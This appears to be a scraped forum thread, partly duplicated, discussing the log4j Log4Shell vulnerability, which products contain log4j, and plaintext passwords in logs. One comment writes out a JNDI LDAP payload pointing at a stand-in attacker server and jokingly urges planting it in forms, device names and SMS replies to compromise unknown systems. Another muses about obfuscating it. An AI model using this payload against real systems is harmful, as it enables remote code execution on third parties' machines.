4 ms·

This vulnerability is like PFAS, it's going to be around forever. log4j is in so many things, things no one might think would have it. Probably a ton of old s

This vulnerability is like PFAS, it's going to be around forever. log4j is in so many things, things no one might think would have it. Probably a ton of old stuff people don't think to update or can (thinking consumer routers).

AnotherGoodName 5y ago
Too much fun to think about the ways to get hits. All it takes is a simple string. Start filling out paper forms with ${jndi:ldap://attackerserver.com:1389/ExploitPayload} as your name and wait for the responses. It'll get digitized somewhere and it's not like a timeshare condo will have a security team behind the scenes. Rename your computer and wifi network. Telemetry is everywhere, you'll probably get some hits. Naming your phone and Tesla car gets hits. https://www.theverge.com/2021/12/13/22832552/iphone-tesla-sms-log4shell-log4j-exploit-researchers-test https://www.theverge.com/2021/12/13/22832552/iphone-tesla-sm... How about an official name change to the above? Anyone game?
- doublepg23 5y ago
  My favorite was responding to SMS bots https://twitter.com/infosecatom/status/1469774771634249740?s=21 https://twitter.com/infosecatom/status/1469774771634249740?s...
  - dylan604 5y ago
    Just read through some of that. My favorite response: "Is it wrong to use a log4j exploit as a password? I mean, passwords shouldn't be coming anywhere near logging code... right?" How many times have we heard of raw text passwords being saved in logs?
    - heyoni 5y ago
      Only once. At Facebook: https://krebsonsecurity.com/2019/03/facebook-stored-hundreds-of-millions-of-user-passwords-in-plain-text-for-years/ https://krebsonsecurity.com/2019/03/facebook-stored-hundreds...
      - jacquesm 5y ago
        And google: https://www.theverge.com/2019/5/21/18634842/google-passwords-plain-text-g-suite-fourteen-years https://www.theverge.com/2019/5/21/18634842/google-passwords...
        dylan604 5y ago
        I knew it was definitely more than once. If it gets done at places like FB & G, then you know other smaller places are doing/have done it as well. They just didn't make the news, nor know it isn't a bad thing.
        toyg 5y ago
        I mean, what if we have to troubleshoot an issue that is due to, say, the character encoding of such password? We need to see it, right? (yes, such an issue would likely indicate you're not handling that sort of data in the right way, but fixing that would probably take three weeks and the PM is screaming FIXITNAOO because the customer is on the phone...) (I'm not condoning this, just saying that it can look sensible at the time)
        dylan604 5y ago
        No. Just NO NO NO. Passwords should be treated as sacrosanct. There are other ways of testing encoding. Looking at someone's password should be anathema to anyone. That's like wearing mirrors on your shoes trying to look up places one shouldn't be looking. It's just naughty to the point that any normal person would think it wrong to be doing it. Those kind of requests should actually be reported immediately. Stand up for yourself, for your fellow devs, for 'all humankind' and tell that PM making the request to pound sand (politely). If still pushed, go report them to the next rung up. "Because orders" is not a valid excuse.
        jacquesm 5y ago
        Even for a honeypot?
- 2sk21 5y ago
  Reminds me of old Bobby Tables :-) https://xkcd.com/327/ https://xkcd.com/327/
- reaperducer 5y ago
  It'll get digitized somewhere I wonder how many surveillance cameras can be borked by walking around in public with this on a sign. Too long for a hat.
- jart 5y ago
  There needs to be a good catchphrase for your porcupine strategy, like passive offensive security.
Bluecobra 5y ago
One of the random thoughts I had was that I’m sure there’s going to be plenty of clever ways to obfuscate the jndi payload, sort of how you can ping an IP address in octal, an integer, or hex: https://ma.ttias.be/silly-little-ip-tricks/ https://ma.ttias.be/silly-little-ip-tricks/
lmm 5y ago
log4j 2 isn't in so many things AFAIK? log4j 1.x is in everything, but that's not vulnerable.
- Hamuko 5y ago
  I wouldn't be surprised if log4j 1.x is also vulnerable in many fun ways and that bad actors would be more willing to poke around log4j 1.x now in order to figure out new vulnerabilities to exploit.
  - lmm 5y ago
    My general impression for years has been that log4j2 and slf4j/logback are overengineered feature-fests whereas log4j 1.x is sane and simple.
    - swsieber 5y ago
      IIUC, Log4j 1 is a completely separate code based from 2, so you may be right.
- anakaine 5y ago
  It's in a whole stack of Salesforce and GIS products based on the Sales force update page and some of our spatial vendors emails. That alone means a great many large and medium companies and large government departments around the world have v2 available in some way on a piece of infrastructure somewhere.
  - lmm 5y ago
    Yeah, I'd expect to see it in that kind of giant-enterprise-framework system. But hopefully not so much in the kind of embedded app that might be running unnoticed without updates. Maybe that's wishful thinking.
- topspin 5y ago
  Yes, this is something that's been lost in the all the loud speaker noise. Log4j 1.x was indeed ubiquitous at one time. SLF4J took most of the mindshare before Log4j 2.x got traction and Log4j 2.x is not the go-to Java logging solution today. Spring, for instance, defaults to SLF4J. Huge code bases that were heavily invested in Log4j 1.x often migrated from 1 to 2 due to API compatibility and these account for most Log4j 2.x usage today. That's the history as I see it. Had most developers not done Log4j 1.x -> SLF4J and instead waited for Log4j 2.x this problem would be much worse than it is; a vast number of small, neglected services would have had to be fixed. The thought that I'm having is now that the power of compromising these logging frameworks has been demonstrated the ransomware crews are going to look very hard at them and find more large holes.

AnotherGoodName 5y ago

Too much fun to think about the ways to get hits. All it takes is a simple string. Start filling out paper forms with ${jndi:ldap://attackerserver.com:1389/ExploitPayload} as your name and wait for the responses. It'll get digitized somewhere and it's not like a timeshare condo will have a security team behind the scenes. Rename your computer and wifi network. Telemetry is everywhere, you'll probably get some hits. Naming your phone and Tesla car gets hits. https://www.theverge.com/2021/12/13/22832552/iphone-tesla-sms-log4shell-log4j-exploit-researchers-test https://www.theverge.com/2021/12/13/22832552/iphone-tesla-sm... How about an official name change to the above? Anyone game?

doublepg23 5y ago
My favorite was responding to SMS bots https://twitter.com/infosecatom/status/1469774771634249740?s=21 https://twitter.com/infosecatom/status/1469774771634249740?s...
- dylan604 5y ago
  Just read through some of that. My favorite response: "Is it wrong to use a log4j exploit as a password? I mean, passwords shouldn't be coming anywhere near logging code... right?" How many times have we heard of raw text passwords being saved in logs?
  - heyoni 5y ago
    Only once. At Facebook: https://krebsonsecurity.com/2019/03/facebook-stored-hundreds-of-millions-of-user-passwords-in-plain-text-for-years/ https://krebsonsecurity.com/2019/03/facebook-stored-hundreds...
    - jacquesm 5y ago
      And google: https://www.theverge.com/2019/5/21/18634842/google-passwords-plain-text-g-suite-fourteen-years https://www.theverge.com/2019/5/21/18634842/google-passwords...
      - dylan604 5y ago
        I knew it was definitely more than once. If it gets done at places like FB & G, then you know other smaller places are doing/have done it as well. They just didn't make the news, nor know it isn't a bad thing.
        toyg 5y ago
        I mean, what if we have to troubleshoot an issue that is due to, say, the character encoding of such password? We need to see it, right? (yes, such an issue would likely indicate you're not handling that sort of data in the right way, but fixing that would probably take three weeks and the PM is screaming FIXITNAOO because the customer is on the phone...) (I'm not condoning this, just saying that it can look sensible at the time)
        dylan604 5y ago
        No. Just NO NO NO. Passwords should be treated as sacrosanct. There are other ways of testing encoding. Looking at someone's password should be anathema to anyone. That's like wearing mirrors on your shoes trying to look up places one shouldn't be looking. It's just naughty to the point that any normal person would think it wrong to be doing it. Those kind of requests should actually be reported immediately. Stand up for yourself, for your fellow devs, for 'all humankind' and tell that PM making the request to pound sand (politely). If still pushed, go report them to the next rung up. "Because orders" is not a valid excuse.
        jacquesm 5y ago
        Even for a honeypot?
2sk21 5y ago
Reminds me of old Bobby Tables :-) https://xkcd.com/327/ https://xkcd.com/327/
reaperducer 5y ago
It'll get digitized somewhere I wonder how many surveillance cameras can be borked by walking around in public with this on a sign. Too long for a hat.
jart 5y ago
There needs to be a good catchphrase for your porcupine strategy, like passive offensive security.

Bluecobra 5y ago

One of the random thoughts I had was that I’m sure there’s going to be plenty of clever ways to obfuscate the jndi payload, sort of how you can ping an IP address in octal, an integer, or hex: https://ma.ttias.be/silly-little-ip-tricks/ https://ma.ttias.be/silly-little-ip-tricks/

lmm 5y ago

log4j 2 isn't in so many things AFAIK? log4j 1.x is in everything, but that's not vulnerable.

Hamuko 5y ago
I wouldn't be surprised if log4j 1.x is also vulnerable in many fun ways and that bad actors would be more willing to poke around log4j 1.x now in order to figure out new vulnerabilities to exploit.
- lmm 5y ago
  My general impression for years has been that log4j2 and slf4j/logback are overengineered feature-fests whereas log4j 1.x is sane and simple.
  - swsieber 5y ago
    IIUC, Log4j 1 is a completely separate code based from 2, so you may be right.
anakaine 5y ago
It's in a whole stack of Salesforce and GIS products based on the Sales force update page and some of our spatial vendors emails. That alone means a great many large and medium companies and large government departments around the world have v2 available in some way on a piece of infrastructure somewhere.
- lmm 5y ago
  Yeah, I'd expect to see it in that kind of giant-enterprise-framework system. But hopefully not so much in the kind of embedded app that might be running unnoticed without updates. Maybe that's wishful thinking.
topspin 5y ago
Yes, this is something that's been lost in the all the loud speaker noise. Log4j 1.x was indeed ubiquitous at one time. SLF4J took most of the mindshare before Log4j 2.x got traction and Log4j 2.x is not the go-to Java logging solution today. Spring, for instance, defaults to SLF4J. Huge code bases that were heavily invested in Log4j 1.x often migrated from 1 to 2 due to API compatibility and these account for most Log4j 2.x usage today. That's the history as I see it. Had most developers not done Log4j 1.x -> SLF4J and instead waited for Log4j 2.x this problem would be much worse than it is; a vast number of small, neglected services would have had to be fixed. The thought that I'm having is now that the power of compromising these logging frameworks has been demonstrated the ransomware crews are going to look very hard at them and find more large holes.